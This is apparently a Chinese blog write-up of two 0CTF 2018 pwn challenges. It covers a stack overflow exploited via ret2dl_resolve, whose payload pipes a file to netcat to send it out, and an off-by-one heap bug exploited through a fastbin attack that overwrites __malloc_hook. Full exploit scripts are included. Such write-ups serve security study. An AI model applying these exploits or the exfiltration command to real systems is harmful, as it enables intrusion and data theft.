zoukankan      html  css  js  c++  java
  • 0ctf2018 pwn

    前言

    0ctf2018pwn 做一个总结

    正文

    babystack

    漏洞

    非常直接的 栈溢出

    ssize_t sub_804843B()
    {
      char buf; // [esp+0h] [ebp-28h]
    
      return read(0, &buf, 0x40u);
    }
    

    这个题的难点在于 用 python 启动了该程序同时过滤了 stdoutstdout

    #!/usr/bin/python -u
    # encoding: utf-8
    from pwn import *
    import random, string, subprocess, os, sys
    from hashlib import sha256
    
    os.chdir(os.path.dirname(os.path.realpath(__file__)))
    
    def proof_of_work():
        chal = ''.join(random.choice(string.letters+string.digits) for _ in xrange(16))
        print chal
        sol = sys.stdin.read(4)
        if len(sol) != 4 or not sha256(chal + sol).digest().startswith(''):
            exit()
    
    
    def exec_serv(name, payload):
        p = subprocess.Popen(name, stdin=subprocess.PIPE, stdout=file('/dev/null','w'), stderr=subprocess.STDOUT)
        p.stdin.write(payload)
        p.wait()
    
    if __name__ == '__main__':
        proof_of_work()
        payload = sys.stdin.read(0x100)
        exec_serv('./babystack', payload)
    
    

    利用

    无输出,使用 ret to dl_resolve .

    #coding:utf-8
    import sys
    sys.path.append('./roputils')
    import roputils
    from pwn import *
    from hashlib import sha256
    
    context.terminal = ['tmux', 'splitw', '-h']
    fpath = './babystack'
    offset = 44   # 离覆盖 eip 需要的距离
    command_len = 60  # system 执行的命令长度
    
    readplt = 0x08048300
    bss = 0x0804a020
    vulFunc = 0x0804843B
    
    p = process(fpath)
    
    rop = roputils.ROP(fpath)
    addr_bss = rop.section('.bss')
    
    
    
    # step1 : write shStr & resolve struct to bss
    # buf1 = rop.retfill(offset)
    buf1 = 'A' * offset #44
    buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
    p.send(buf1)
    
    log.info("首先 rop 调用 read, 往 .bss 布置数据")
    
    
    buf2 = 'head exp.py | nc 127.0.0.1 8888x00'
    buf2 += rop.fill(command_len, buf2)
    buf2 += rop.dl_resolve_data(addr_bss+command_len, 'system')
    buf2 += rop.fill(100, buf2)
    p.send(buf2)
    log.info("布置 bss, 在 bss+command_len 处解析出 system 的地址")
    
    #step3 : use dl_resolve_call get system & system('/bin/sh')
    buf3 = 'A'*offset + rop.dl_resolve_call(addr_bss+command_len, addr_bss)
    p.send(buf3)
    log.info("布置好后,通过 dl_resolve_call, 调用 system")
    
    p.interactive()
    
    
    

    babyheap

    漏洞

    漏洞位于 update 函数时,可以往分配的内存多写入一字节的数据

    int __fastcall update(obj *table)
    {
      unsigned __int64 size; // rax
      signed int idx; // [rsp+18h] [rbp-8h]
      int size_; // [rsp+1Ch] [rbp-4h]
    
      printf("Index: ");
      idx = get_num();
      if ( idx >= 0 && idx <= 15 && table[idx].inused == 1 )
      {
        printf("Size: ");
        LODWORD(size) = get_num();
        size_ = size;
        if ( size > 0 )
        {
          size = table[idx].size + 1;               // size = 分配的内存size + 1
          if ( size_ <= size )
          {
            printf("Content: ");
            read_to_buf(table[idx].heap, size_);    // 可以溢出一个字节
            LODWORD(size) = printf("Chunk %d Updated
    ", idx);
          }
        }
      }
      else
      {
        LODWORD(size) = puts("Invalid Index");
      }
      return size;
    }
    

    利用

    • 利用 off-by-oneoverlap chunk. 然后利用 分配 unsorted bin 的切割机制,拿到 libc 地址
    • 再次 overlap chunk ,构造 0x40 大小的 fastbin ,修改 0x40 大小的 fastbin 的第一个chunkfd0x61
    • 分配一个 0x40fastbin, 此时 main_arean->fastbin 中就会出现 0x61, 用来 fastbin 攻击
    • 再次 overlap chunk ,构造 0x60 大小的 fastbin, 修改 0x60 大小的 fastbin 的第一个 chunkfdmain_arean->fastbin
    • fastbin attack分配到 main_arean, 然后修改 main_arean->top__malloc_hook - 0x10, 然后分配内存,修改 __malloc_hookone_gadget
    #/usr/bin/env python
    # -*- coding: utf-8 -*-
    
    from pwn import *
    from time import *
    context.terminal = ['tmux', 'splitw', '-h']
    context(os='linux', arch='amd64', log_level='info')
    
    env = {"LD_PRELOAD": "./libc-2.24.so"}
    
    
    # p = process("./babyheap", aslr=0)
    p = remote("202.120.7.204", 127)
    
    
    def allocate(size):
        p.recvuntil("Command: ")
        p.sendline("1")
        p.recvuntil("Size: ")
        p.sendline(str(size))
    
    def update(idx, size, content):
        p.recvuntil("Command: ")
        p.sendline("2")
        p.recvuntil("Index: ")
        sleep(0.1)
        p.sendline(str(idx))
        p.recvuntil("Size: ")
        p.sendline(str(size))
        p.recvuntil("Content: ")
        sleep(0.1)
        p.send(content)
    
    
    def delete(idx):
        p.recvuntil("Command: ")
        p.sendline("3")
        p.recvuntil("Index: ")
        p.sendline(str(idx))
    
    def view(idx):
        p.recvuntil("Command: ")
        p.sendline("4")
        p.recvuntil("Index: ")
        p.sendline(str(idx))
    
    
    
    code_base = 0x555555554000
    
    gdb_command = '''
    # bp %s
    directory ~/workplace/glibc-2.23/malloc/
    x/30xg 0x429C0F050000
    c
    ''' %(hex(code_base + 0x000FA9))
    
    # gdb.attach(p, gdb_command)
    # pause()
    
    
    allocate(0x18)  # 0
    allocate(0x38)  # 1
    allocate(0x48)  # 2
    allocate(0x18)  # 3
    
    update(0,0x19, "a" * 0x18 + "x91")
    delete(1)
    
    allocate(0x38)  # 1
    
    view(2)
    p.recvuntil("]: ")
    
    
    lib = ELF("./libc-2.24.so")
    
    # libc = u64(p.recv(6) + "x00" * 2) - 0x3c4b78
    libc = u64(p.recv(6) + "x00" * 2) - lib.symbols['__malloc_hook'] - 0x68
    
    malloc_hook = lib.symbols['__malloc_hook'] + libc
    # fast_target = libc + 0x3c4b30
    fast_target = malloc_hook + 0x20
    bins = malloc_hook + 0x68
    
    
    one_gad = libc + 0x3f35a
    
    # bins = libc + 0x3c4b78
    # bins = malloc_hook
    
    log.info("libc: " + hex(libc))
    
    
    allocate(0x58)  # 4
    allocate(0x28)  # 5
    allocate(0x38)  # 6
    allocate(0x48)  # 7
    allocate(0x18)  # 8
    allocate(0x18)  # 9
    
    
    delete(5)
    delete(6)
    delete(8)
    
    
    update(3,0x19, "a" * 0x18 + "xf1")
    delete(4)
    allocate(0x58)  # 4
    allocate(0x18)  # 5
    allocate(0x48)  # 6
    
    
    # update(4,0x59, "a" * 0x59 + "x31")
    update(6, 0x8, p64(0x61))
    update(4, 0x59, "a" * 0x58 + "x41")
    # pause()
    allocate(0x38)  # 8
    
    
    
    allocate(0x28)  # 10
    allocate(0x18)  # 11
    allocate(0x58)  # 12
    allocate(0x58)  # 13
    # pause()
    
    payload = p64(0x0)
    payload += p64(0xc1)
    
    update(7,len(payload), payload)
    log.info("make 0x180's size 0xc1")
    delete(11)
    pause()
    
    allocate(0x48)  # 11 
    allocate(0x58)  # 14
    update(14, 0x10, p64(0) + p64(0x0000000000000061))
    delete(12) 
    update(14, 0x18, p64(0) + p64(0x0000000000000061) + p64(fast_target))
    
    
    delete(0)
    # delete(1)
    delete(2)
    
    allocate(0x58) # 0
    
    allocate(0x58) # 2
    
    
    payload = 'a' * 0x38
    payload += p64(malloc_hook-0x10)
    payload += p64(bins) * 3
    
    print hex(len(payload))
    
    update(2, len(payload), payload)
    delete(0)
    
    allocate(0x28)
    
    payload = "a" * 8
    payload += p64(0)
    payload += p64(0x21)
    payload += p64(bins) * 2
    
    update(11,len(payload), payload)
    
    allocate(0x28)
    
    
    update(12, 8, p64(one_gad))
    
    log.info("done")
    # pause()
    
    allocate(0x10)
    
    p.interactive()
    
    
    # x/30xg 0x429C0F050000
    
  • 相关阅读:
    简单好用的日历排期控件
    Ext.js create store
    Ext.js页面添加元素
    Ext.js Tree
    前端设计的七大法则
    如何写软件开发相关文档,它包含哪些种类和内容
    行内文字末尾下降
    正则表达式
    滚动加载数据
    location.hash来保持页面状态
  • 原文地址:https://www.cnblogs.com/hac425/p/9416965.html
Copyright © 2011-2022 走看看